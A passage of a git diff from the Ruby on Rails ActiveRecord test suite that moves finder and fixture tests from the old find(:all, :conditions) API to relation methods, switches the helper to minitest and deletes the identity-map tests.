-    developers_on_project_one = Developer.find(
-      :all,
+    developers_on_project_one = Developer.all.merge!(
       :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
-      :conditions => 'project_id=1'
-    )
+      :where => 'project_id=1'
+    ).to_a
     assert_equal 3, developers_on_project_one.length
     developer_names = developers_on_project_one.map { |d| d.name }
     assert developer_names.include?('David')
@@ -1045,17 +705,15 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_joins_dont_clobber_id
-    first = Firm.find(
-      :first,
+    first = Firm.all.merge!(
       :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
-      :conditions => 'companies.id = 1'
-    )
+      :where => 'companies.id = 1'
+    ).first
     assert_equal 1, first.id
   end
 
   def test_joins_with_string_array
-    person_with_reader_and_post = Post.find(
-      :all,
+    person_with_reader_and_post = Post.all.merge!(
       :joins => [
         "INNER JOIN categorizations ON categorizations.post_id = posts.id",
         "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
@@ -1066,15 +724,14 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_by_id_with_conditions_with_or
     assert_nothing_raised do
-      Post.find([1,2,3],
-        :conditions => "posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'")
+      Post.where("posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'").find([1,2,3])
     end
   end
 
   # http://dev.rubyonrails.org/ticket/6778
   def test_find_ignores_previously_inserted_record
     Post.create!(:title => 'test', :body => 'it out')
-    assert_equal [], Post.find_all_by_id(nil)
+    assert_equal [], Post.where(id: nil)
   end
 
   def test_find_by_empty_ids
@@ -1082,13 +739,13 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_empty_in_condition
-    assert_equal [], Post.find(:all, :conditions => ['id in (?)', []])
+    assert_equal [], Post.where('id in (?)', [])
   end
 
   def test_find_by_records
-    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2]], :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
+    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
+    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
   end
 
   def test_select_value
@@ -1115,16 +772,15 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
-    assert_equal 2, Post.find(:all, :include => { :authors => :author_address }, :order => ' author_addresses.id DESC ', :limit => 2).size
+    assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
 
-    assert_equal 3, Post.find(:all, :include => { :author => :author_address, :authors => :author_address},
-                              :order => ' author_addresses_authors.id DESC ', :limit => 3).size
+    assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
+                              :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
   end
 
   def test_find_with_nil_inside_set_passed_for_one_attribute
-    client_of = Company.find(
-      :all,
-      :conditions => {
+    client_of = Company.all.merge!(
+      :where => {
         :client_of => [2, 1, nil],
         :name => ['37signals', 'Summit', 'Microsoft'] },
       :order => 'client_of DESC'
@@ -1135,9 +791,8 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_nil_inside_set_passed_for_attribute
-    client_of = Company.find(
-      :all,
-      :conditions => { :client_of => [nil] },
+    client_of = Company.all.merge!(
+      :where => { :client_of => [nil] },
       :order => 'client_of DESC'
     ).map { |x| x.client_of }
 
@@ -1145,21 +800,16 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_with_limiting_with_custom_select
-    posts = Post.find(:all, :include => :author, :select => ' posts.*, authors.id as "author_id"', :limit => 3, :order => 'posts.id')
+    posts = Post.references(:authors).merge(
+      :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+      :limit => 3, :order => 'posts.id'
+    ).to_a
     assert_equal 3, posts.size
     assert_equal [0, 1, 1], posts.map(&:author_id).sort
   end
 
-  def test_finder_with_scoped_from
-    all_topics = Topic.find(:all)
-
-    Topic.send(:with_scope, :find => { :from => 'fake_topics' }) do
-      assert_equal all_topics, Topic.from('topics').to_a
-    end
-  end
-
   def test_find_one_message_with_custom_primary_key
-    Toy.set_primary_key :name
+    Toy.primary_key = :name
     begin
       Toy.find 'Hello World!'
     rescue ActiveRecord::RecordNotFound => e
@@ -1167,6 +817,10 @@ class FinderTest < ActiveRecord::TestCase
     end
   end
 
+  def test_finder_with_offset_string
+    assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+  end
+
   protected
     def bind(statement, *vars)
       if vars.first.is_a?(Hash)
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index 7e2dafcd01..c28f8de682 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -1,31 +1,34 @@
-require "cases/helper"
-require 'models/post'
+require 'cases/helper'
+require 'models/admin'
+require 'models/admin/account'
+require 'models/admin/randomly_named_c1'
+require 'models/admin/user'
 require 'models/binary'
-require 'models/topic'
+require 'models/book'
+require 'models/category'
+require 'models/company'
 require 'models/computer'
+require 'models/course'
 require 'models/developer'
-require 'models/company'
-require 'models/task'
-require 'models/reply'
 require 'models/joke'
-require 'models/course'
-require 'models/category'
+require 'models/matey'
 require 'models/parrot'
 require 'models/pirate'
-require 'models/treasure'
-require 'models/traffic_light'
-require 'models/matey'
+require 'models/post'
+require 'models/randomly_named_c1'
+require 'models/reply'
 require 'models/ship'
-require 'models/book'
-require 'models/admin'
-require 'models/admin/account'
-require 'models/admin/user'
+require 'models/task'
+require 'models/topic'
+require 'models/traffic_light'
+require 'models/treasure'
 require 'tempfile'
 
 class FixturesTest < ActiveRecord::TestCase
   self.use_instantiated_fixtures = true
   self.use_transactional_fixtures = false
 
+  # other_topics fixture should not be included here
   fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries, :traffic_lights
 
   FIXTURES = %w( accounts binaries companies customers
@@ -62,8 +65,9 @@ class FixturesTest < ActiveRecord::TestCase
   end
 
   def test_create_fixtures
-    ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, "parrots")
-    assert Parrot.find_by_name('Curious George'), 'George is in the database'
+    fixtures = ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, "parrots")
+    assert Parrot.find_by_name('Curious George'), 'George is not in the database'
+    assert fixtures.detect { |f| f.name == 'parrots' }, "no fixtures named 'parrots' in #{fixtures.map(&:name).inspect}"
   end
 
   def test_multiple_clean_fixtures
@@ -73,6 +77,13 @@ class FixturesTest < ActiveRecord::TestCase
     fixtures_array.each { |fixtures| assert_kind_of(ActiveRecord::Fixtures, fixtures) }
   end
 
+  def test_create_symbol_fixtures
+    fixtures = ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, :collections, :collections => Course) { Course.connection }
+
+    assert Course.find_by_name('Collection'), 'course is not in the database'
+    assert fixtures.detect { |f| f.name == 'collections' }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
+  end
+
   def test_attributes
     topics = create_fixtures("topics").first
     assert_equal("The First Topic", topics["first"]["title"])
@@ -93,7 +104,7 @@ class FixturesTest < ActiveRecord::TestCase
       # Reset cache to make finds on the new table work
       ActiveRecord::Fixtures.reset_cache
 
-      ActiveRecord::Base.connection.create_table :prefix_topics_suffix do |t|
+      ActiveRecord::Base.connection.create_table :prefix_other_topics_suffix do |t|
         t.column :title, :string
         t.column :author_name, :string
         t.column :author_email_address, :string
@@ -115,23 +126,36 @@ class FixturesTest < ActiveRecord::TestCase
       ActiveRecord::Base.table_name_prefix = 'prefix_'
       ActiveRecord::Base.table_name_suffix = '_suffix'
 
-      topics = create_fixtures("topics")
-
-      first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'David'")
-      assert_equal("The First Topic", first_row["title"])
+      other_topic_klass = Class.new(ActiveRecord::Base) do
+        def self.name
+          "OtherTopic"
+        end
+      end
 
-      second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_topics_suffix WHERE author_name = 'Mary'")
-      assert_nil(second_row["author_email_address"])
+      topics = [create_fixtures("other_topics")].flatten.first
 
       # This checks for a caching problem which causes a bug in the fixtures
       # class-level configuration helper.
       assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
+
+      first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'David'")
+      assert_not_nil first_row, "The prefix_other_topics_suffix table appears to be empty despite create_fixtures: the row with author_name = 'David' was not found"
+      assert_equal("The First Topic", first_row["title"])
+
+      second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'Mary'")
+      assert_nil(second_row["author_email_address"])
+
+      assert_equal :prefix_other_topics_suffix, topics.table_name.to_sym
+      # This assertion should preferably be the last in the list, because calling
+      # other_topic_klass.table_name sets a class-level instance variable
+      assert_equal :prefix_other_topics_suffix, other_topic_klass.table_name.to_sym
+
     ensure
       # Restore prefix/suffix to its previous values
       ActiveRecord::Base.table_name_prefix = old_prefix
       ActiveRecord::Base.table_name_suffix = old_suffix
 
-      ActiveRecord::Base.connection.drop_table :prefix_topics_suffix rescue nil
+      ActiveRecord::Base.connection.drop_table :prefix_other_topics_suffix rescue nil
     end
   end
 
@@ -179,7 +203,7 @@ class FixturesTest < ActiveRecord::TestCase
     #sanity check to make sure that this file never exists
     assert Dir[nonexistent_fixture_path+"*"].empty?
 
-    assert_raise(FixturesFileNotFound) do
+    assert_raise(Errno::ENOENT) do
       ActiveRecord::Fixtures.new( Account.connection, "companies", 'Company', nonexistent_fixture_path)
     end
   end
@@ -213,7 +237,7 @@ class FixturesTest < ActiveRecord::TestCase
 
   def test_binary_in_fixtures
     data = File.open(ASSETS_ROOT + "/flowers.jpg", 'rb') { |f| f.read }
-    data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
+    data.force_encoding('ASCII-8BIT')
     data.freeze
     assert_equal data, @flowers.data
   end
@@ -490,7 +514,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def test_raises_error
-    assert_raise FixtureClassNotFound do
+    assert_raise ActiveRecord::FixtureClassNotFound do
       funny_jokes(:a_joke)
     end
   end
@@ -573,7 +597,7 @@ class FasterFixturesTest < ActiveRecord::TestCase
 
     load_extra_fixture('posts')
     assert ActiveRecord::Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'posts')
-    self.class.setup_fixture_accessors('posts')
+    self.class.setup_fixture_accessors :posts
     assert_equal 'Welcome to the weblog', posts(:welcome).title
   end
 end
@@ -692,7 +716,7 @@ class FoxyFixturesTest < ActiveRecord::TestCase
   end
 
   def test_only_generates_a_pk_if_necessary
-    m = Matey.find(:first)
+    m = Matey.first
     m.pirate = pirates(:blackbeard)
     m.target = pirates(:redbeard)
   end
@@ -731,3 +755,34 @@ class FixtureLoadingTest < ActiveRecord::TestCase
     ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
   end
 end
+
+class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
+  ActiveRecord::Fixtures.reset_cache
+
+  set_fixture_class :randomly_named_a9         =>
+                        ClassNameThatDoesNotFollowCONVENTIONS,
+                    :'admin/randomly_named_a9' =>
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+                    'admin/randomly_named_b0'  =>
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS
+
+  fixtures :randomly_named_a9, 'admin/randomly_named_a9',
+           :'admin/randomly_named_b0'
+
+  def test_named_accessor_for_randomly_named_fixture_and_class
+    assert_kind_of ClassNameThatDoesNotFollowCONVENTIONS,
+                   randomly_named_a9(:first_instance)
+  end
+
+  def test_named_accessor_for_randomly_named_namespaced_fixture_and_class
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+                   admin_randomly_named_a9(:first_instance)
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS,
+                   admin_randomly_named_b0(:second_instance)
+  end
+
+  def test_table_name_is_defined_in_the_model
+    assert_equal 'randomly_named_table', ActiveRecord::Fixtures::all_loaded_fixtures["admin/randomly_named_a9"].table_name
+    assert_equal 'randomly_named_table', Admin::ClassNameThatDoesNotFollowCONVENTIONS.table_name
+  end
+end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 6735bc521b..4c6d4666ed 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -2,12 +2,14 @@ require File.expand_path('../../../../load_paths', __FILE__)
 
 require 'config'
 
-require 'test/unit'
+gem 'minitest'
+require 'minitest/autorun'
 require 'stringio'
-require 'mocha'
 
 require 'active_record'
+require 'cases/test_case'
 require 'active_support/dependencies'
+require 'active_support/logger'
 
 require 'support/config'
 require 'support/connection'
@@ -17,9 +19,6 @@ require 'support/connection'
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
-# Enable Identity Map only when ENV['IM'] is set to "true"
-ActiveRecord::IdentityMap.enabled = (ENV['IM'] == "true")
-
 # Connect to the database
 ARTest.connect
 
@@ -34,7 +33,7 @@ def current_adapter?(*types)
 end
 
 def in_memory_db?
-  current_adapter?(:SQLiteAdapter) &&
+  current_adapter?(:SQLite3Adapter) &&
   ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
 end
 
@@ -56,36 +55,13 @@ ensure
   ActiveRecord::Base.default_timezone = old_zone
 end
 
-module ActiveRecord
-  class SQLCounter
-    cattr_accessor :ignored_sql
-    self.ignored_sql = [/^PRAGMA (?!(table_info))/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
-
-    # FIXME: this needs to be refactored so specific database can add their own
-    # ignored SQL.  This ignored SQL is for Oracle.
-    ignored_sql.concat [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
-
-    cattr_accessor :log
-    self.log = []
-
-    def call(name, start, finish, message_id, values)
-      sql = values[:sql]
-
-      # FIXME: this seems bad. we should probably have a better way to indicate
-      # the query was cached
-      unless 'CACHE' == values[:name]
-        self.class.log << sql unless self.class.ignored_sql.any? { |r| sql =~ r }
-      end
-    end
-  end
-
-  ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
-end
-
 unless ENV['FIXTURE_DEBUG']
   module ActiveRecord::TestFixtures::ClassMethods
     def try_to_load_dependency_with_silence(*args)
-      ActiveRecord::Base.logger.silence { try_to_load_dependency_without_silence(*args)}
+      old = ActiveRecord::Base.logger.level
+      ActiveRecord::Base.logger.level = ActiveSupport::Logger::ERROR
+      try_to_load_dependency_without_silence(*args)
+      ActiveRecord::Base.logger.level = old
     end
 
     alias_method_chain :try_to_load_dependency, :silence
@@ -101,8 +77,8 @@ class ActiveSupport::TestCase
   self.use_instantiated_fixtures  = false
   self.use_transactional_fixtures = true
 
-  def create_fixtures(*table_names, &block)
-    ActiveRecord::Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, fixture_class_names, &block)
+  def create_fixtures(*fixture_set_names, &block)
+    ActiveRecord::Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, fixture_set_names, fixture_class_names, &block)
   end
 end
 
@@ -141,3 +117,19 @@ class << Time
     @now = nil
   end
 end
+
+module LogIntercepter
+  attr_accessor :logged, :intercepted
+  def self.extended(base)
+    base.logged = []
+  end
+  def log(sql, name, binds = [], &block)
+    if @intercepted
+      @logged << [sql, name, binds]
+      yield
+    else
+      super(sql, name,binds, &block)
+    end
+  end
+end
+
diff --git a/activerecord/test/cases/identity_map/middleware_test.rb b/activerecord/test/cases/identity_map/middleware_test.rb
deleted file mode 100644
index 60dcad4586..0000000000
--- a/activerecord/test/cases/identity_map/middleware_test.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  module IdentityMap
-    class MiddlewareTest < ActiveRecord::TestCase
-      def setup
-        super
-        @enabled = IdentityMap.enabled
-        IdentityMap.enabled = false
-      end
-
-      def teardown
-        super
-        IdentityMap.enabled = @enabled
-        IdentityMap.clear
-      end
-
-      def test_delegates
-        called = false
-        mw = Middleware.new lambda { |env|
-          called = true
-        }
-        mw.call({})
-        assert called, 'middleware delegated'
-      end
-
-      def test_im_enabled_during_delegation
-        mw = Middleware.new lambda { |env|
-          assert IdentityMap.enabled?, 'identity map should be enabled'
-        }
-        mw.call({})
-      end
-
-      class Enum < Struct.new(:iter)
-        def each(&b)
-          iter.call(&b)
-        end
-      end
-
-      def test_im_enabled_during_body_each
-        mw = Middleware.new lambda { |env|
-          [200, {}, Enum.new(lambda { |&b|
-            assert IdentityMap.enabled?, 'identity map should be enabled'
-            b.call "hello"
-          })]
-        }
-        body = mw.call({}).last
-        body.each { |x| assert_equal 'hello', x }
-      end
-
-      def test_im_disabled_after_body_close
-        mw = Middleware.new lambda { |env| [200, {}, []] }
-        body = mw.call({}).last
-        assert IdentityMap.enabled?, 'identity map should be enabled'
-        body.close
-        assert !IdentityMap.enabled?, 'identity map should be disabled'
-      end
-
-      def test_im_cleared_after_body_close
-        mw = Middleware.new lambda { |env| [200, {}, []] }
-        body = mw.call({}).last
-
-        IdentityMap.repository['hello'] = 'world'
-        assert !IdentityMap.repository.empty?, 'repo should not be empty'
-
-        body.close
-        assert IdentityMap.repository.empty?, 'repo should be empty'
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/identity_map_test.rb b/activerecord/test/cases/identity_map_test.rb
deleted file mode 100644
index 3efc8bf559..0000000000
--- a/activerecord/test/cases/identity_map_test.rb
+++ /dev/null
@@ -1,439 +0,0 @@
-require "cases/helper"
-
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/computer'
-require 'models/customer'
-require 'models/order'
-require 'models/post'
-require 'models/author'
-require 'models/tag'
-require 'models/tagging'
-require 'models/comment'
-require 'models/sponsor'
-require 'models/member'
-require 'models/essay'
-require 'models/subscriber'
-require "models/pirate"
-require "models/bird"
-require "models/parrot"
-
-if ActiveRecord::IdentityMap.enabled?
-class IdentityMapTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :developers, :projects, :topics,
-    :developers_projects, :computers, :authors, :author_addresses,
-    :posts, :tags, :taggings, :comments, :subscribers
-
-  ##############################################################################
-  # Basic tests checking if IM is functioning properly on basic find operations#
-  ##############################################################################
-
-  def test_find_id
-    assert_same(Client.find(3), Client.find(3))
-  end
-
-  def test_find_id_without_identity_map
-    ActiveRecord::IdentityMap.without do
-      assert_not_same(Client.find(3), Client.find(3))
-    end
-  end
-
-  def test_find_id_use_identity_map
-    ActiveRecord::IdentityMap.enabled = false
-    ActiveRecord::IdentityMap.use do
-      assert_same(Client.find(3), Client.find(3))
-    end
-    ActiveRecord::IdentityMap.enabled = true
-  end
-
-  def test_find_pkey
-    assert_same(
-      Subscriber.find('swistak'),
-      Subscriber.find('swistak')
-    )
-  end
-
-  def test_find_by_id
-    assert_same(
-      Client.find_by_id(3),
-      Client.find_by_id(3)
-    )
-  end
-
-  def test_find_by_string_and_numeric_id
-    assert_same(
-      Client.find_by_id("3"),
-      Client.find_by_id(3)
-    )
-  end
-
-  def test_find_by_pkey
-    assert_same(
-      Subscriber.find_by_nick('swistak'),
-      Subscriber.find_by_nick('swistak')
-    )
-  end
-
-  def test_find_first_id
-    assert_same(
-      Client.find(:first, :conditions => {:id => 1}),
-      Client.find(:first, :conditions => {:id => 1})
-    )
-  end
-
-  def test_find_first_pkey
-    assert_same(
-      Subscriber.find(:first, :conditions => {:nick => 'swistak'}),
-      Subscriber.find(:first, :conditions => {:nick => 'swistak'})
-    )
-  end
-
-  def test_queries_are_not_executed_when_finding_by_id
-    Post.find 1
-    assert_no_queries do
-      Post.find 1
-    end
-  end
-
-  ##############################################################################
-  # Tests checking if IM is functioning properly on more advanced finds        #
-  # and associations                                                           #
-  ##############################################################################
-
-  def test_owner_object_is_associated_from_identity_map
-    post = Post.find(1)
-    comment = post.comments.first
-
-    assert_no_queries do
-      comment.post
-    end
-    assert_same post, comment.post
-  end
-
-  def test_associated_object_are_assigned_from_identity_map
-    post = Post.find(1)
-
-    post.comments.each do |comment|
-      assert_same post, comment.post
-      assert_equal post.object_id, comment.post.object_id
-    end
-  end
-
-  def test_creation
-    t1 = Topic.create("title" => "t1")
-    t2 = Topic.find(t1.id)
-    assert_same(t1, t2)
-  end
-
-  ##############################################################################
-  # Tests checking if IM is functioning properly on classes with multiple      #
-  # types of inheritance                                                       #
-  ##############################################################################
-
-  def test_inherited_without_type_attribute_without_identity_map
-    ActiveRecord::IdentityMap.without do
-      p1 = DestructivePirate.create!(:catchphrase => "I'm not a regular Pirate")
-      p2 = Pirate.find(p1.id)
-      assert_not_same(p1, p2)
-    end
-  end
-
-  def test_inherited_with_type_attribute_without_identity_map
-    ActiveRecord::IdentityMap.without do
-      c = comments(:sub_special_comment)
-      c1 = SubSpecialComment.find(c.id)
-      c2 = Comment.find(c.id)
-      assert_same(c1.class, c2.class)
-    end
-  end
-
-  def test_inherited_without_type_attribute
-    p1 = DestructivePirate.create!(:catchphrase => "I'm not a regular Pirate")
-    p2 = Pirate.find(p1.id)
-    assert_not_same(p1, p2)
-  end
-
-  def test_inherited_with_type_attribute
-    c = comments(:sub_special_comment)
-    c1 = SubSpecialComment.find(c.id)
-    c2 = Comment.find(c.id)
-    assert_same(c1, c2)
-  end
-
-  ##############################################################################
-  # Tests checking dirty attribute behavior with IM                            #
-  ##############################################################################
-
-  def test_loading_new_instance_should_not_update_dirty_attributes
-    swistak = Subscriber.find(:first, :conditions => {:nick => 'swistak'})
-    swistak.name = "Swistak Sreberkowiec"
-    assert_equal(["name"], swistak.changed)
-    assert_equal({"name" => ["Marcin Raczkowski", "Swistak Sreberkowiec"]}, swistak.changes)
-
-    assert swistak.name_changed?
-    assert_equal("Swistak Sreberkowiec", swistak.name)
-  end
-
-  def test_loading_new_instance_should_change_dirty_attribute_original_value
-    swistak = Subscriber.find(:first, :conditions => {:nick => 'swistak'})
-    swistak.name = "Swistak Sreberkowiec"
-
-    Subscriber.update_all({:name => "Raczkowski Marcin"}, {:name => "Marcin Raczkowski"})
-
-    assert_equal({"name"=>["Marcin Raczkowski", "Swistak Sreberkowiec"]}, swistak.changes)
-    assert_equal("Swistak Sreberkowiec", swistak.name)
-  end
-
-  def test_loading_new_instance_should_remove_dirt
-    swistak = Subscriber.find(:first, :conditions => {:nick => 'swistak'})
-    swistak.name = "Swistak Sreberkowiec"
-
-    assert_equal({"name" => ["Marcin Raczkowski", "Swistak Sreberkowiec"]}, swistak.changes)
-
-    Subscriber.update_all({:name => "Swistak Sreberkowiec"}, {:name => "Marcin Raczkowski"})
-
-    assert_equal("Swistak Sreberkowiec", swistak.name)
-    assert_equal({"name"=>["Marcin Raczkowski", "Swistak Sreberkowiec"]}, swistak.changes)
-    assert swistak.name_changed?
-  end
-
-  def test_has_many_associations
-    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    pirate.birds.create!(:name => 'Posideons Killer')
-    pirate.birds.create!(:name => 'Killer bandita Dionne')
-
-    posideons, _ = pirate.birds
-
-    pirate.reload
-
-    pirate.birds_attributes = [{ :id => posideons.id, :name => 'Grace OMalley' }]
-    assert_equal 'Grace OMalley', pirate.birds.to_a.find { |r| r.id == posideons.id }.name
-  end
-
-  def test_changing_associations
-    post1 = Post.create("title" => "One post", "body" => "Posting...")
-    post2 = Post.create("title" => "Another post", "body" => "Posting... Again...")
-    comment = Comment.new("body" => "comment")
-
-    comment.post = post1
-    assert comment.save
-
-    assert_same(post1.comments.first, comment)
-
-    comment.post = post2
-    assert comment.save
-
-    assert_same(post2.comments.first, comment)
-    assert_equal(0, post1.comments.size)
-  end
-
-  def test_im_with_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
-    tag = posts(:welcome).tags.first
-    tag_with_joins_and_select = posts(:welcome).tags.add_joins_and_select.first
-    assert_same(tag, tag_with_joins_and_select)
-    assert_nothing_raised(NoMethodError, "Joins/select was not loaded") { tag.author_id }
-  end
-
-  ##############################################################################
-  # Tests checking Identity Map behavior with preloaded associations, joins,   #
-  # includes etc.                                                              #
-  ##############################################################################
-
-  def test_find_with_preloaded_associations
-    assert_queries(2) do
-      posts = Post.preload(:comments).order('posts.id')
-      assert posts.first.comments.first
-    end
-
-    # With IM we'll retrieve post object from previous query, it'll have comments
-    # already preloaded from first call
-    assert_queries(1) do
-      posts = Post.preload(:comments).order('posts.id')
-      assert posts.first.comments.first
-    end
-
-    assert_queries(2) do
-      posts = Post.preload(:author).order('posts.id')
-      assert posts.first.author
-    end
-
-    # With IM we'll retrieve post object from previous query, it'll have comments
-    # already preloaded from first call
-    assert_queries(1) do
-      posts = Post.preload(:author).order('posts.id')
-      assert posts.first.author
-    end
-
-    assert_queries(1) do
-      posts = Post.preload(:author, :comments).order('posts.id')
-      assert posts.first.author
-      assert posts.first.comments.first
-    end
-  end
-
-  def test_find_with_included_associations
-    assert_queries(2) do
-      posts = Post.includes(:comments).order('posts.id')
-      assert posts.first.comments.first
-    end
-
-    assert_queries(1) do
-      posts = Post.scoped.includes(:comments).order('posts.id')
-      assert posts.first.comments.first
-    end
-
-    assert_queries(2) do
-      posts = Post.includes(:author).order('posts.id')
-      assert posts.first.author
-    end
-
-    assert_queries(1) do
-      posts = Post.includes(:author, :comments).order('posts.id')
-      assert posts.first.author
-      assert posts.first.comments.first
-    end
-  end
-
-  def test_eager_loading_with_conditions_on_joined_table_preloads
-    posts = Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-    assert_same posts.first.author, Author.first
-
-    posts = Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-    assert_same posts.first.author, Author.first
-
-    posts = Post.find(:all, :include => :author, :joins => {:taggings => :tag}, :conditions => "tags.name = 'General'", :order => 'posts.id')
-    assert_equal posts(:welcome, :thinking), posts
-    assert_same posts.first.author, Author.first
-
-    posts = Post.find(:all, :include => :author, :joins => {:taggings => {:tag => :taggings}}, :conditions => "taggings_tags.super_tag_id=2", :order => 'posts.id')
-    assert_equal posts(:welcome, :thinking), posts
-    assert_same posts.first.author, Author.first
-  end
-
-  def test_eager_loading_with_conditions_on_string_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-
-    posts = assert_queries(1) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author}
-  end
-
-  ##############################################################################
-  # Behaviour related to saving failures
-  ##############################################################################
-
-  def test_reload_object_if_save_failed
-    developer = Developer.first
-    developer.salary = 0
-
-    assert !developer.save
-
-    same_developer = Developer.first
-
-    assert_not_same  developer, same_developer
-    assert_not_equal 0, same_developer.salary
-    assert_not_equal developer.salary, same_developer.salary
-  end
-
-  def test_reload_object_if_forced_save_failed
-    developer = Developer.first
-    developer.salary = 0
-
-    assert_raise(ActiveRecord::RecordInvalid) { developer.save! }
-
-    same_developer = Developer.first
-
-    assert_not_same  developer, same_developer
-    assert_not_equal 0, same_developer.salary
-    assert_not_equal developer.salary, same_developer.salary
-  end
-
-  def test_reload_object_if_update_attributes_fails
-    developer = Developer.first
-    developer.salary = 0
-
-    assert !developer.update_attributes(:salary => 0)
-
-    same_developer = Developer.first
-
-    assert_not_same  developer, same_developer
-    assert_not_equal 0, same_developer.salary
-    assert_not_equal developer.salary, same_developer.salary
-  end
-
-  ##############################################################################
-  # Behaviour of readonly, frozen, destroyed
-  ##############################################################################
-
-  def test_find_using_identity_map_respects_readonly_when_loading_associated_object_first
-    author  = Author.first
-    readonly_comment = author.readonly_comments.first
-
-    comment = Comment.first
-    assert !comment.readonly?
-
-    assert readonly_comment.readonly?
-
-    assert_raise(ActiveRecord::ReadOnlyRecord) {readonly_comment.save}
-    assert comment.save
-  end
-
-  def test_find_using_identity_map_respects_readonly
-    comment = Comment.first
-    assert !comment.readonly?
-
-    author  = Author.first
-    readonly_comment = author.readonly_comments.first
-
-    assert readonly_comment.readonly?
-
-    assert_raise(ActiveRecord::ReadOnlyRecord) {readonly_comment.save}
-    assert comment.save
-  end
-
-  def test_find_using_select_and_identity_map
-    author_id, author = Author.select('id').first, Author.first
-
-    assert_equal author_id, author
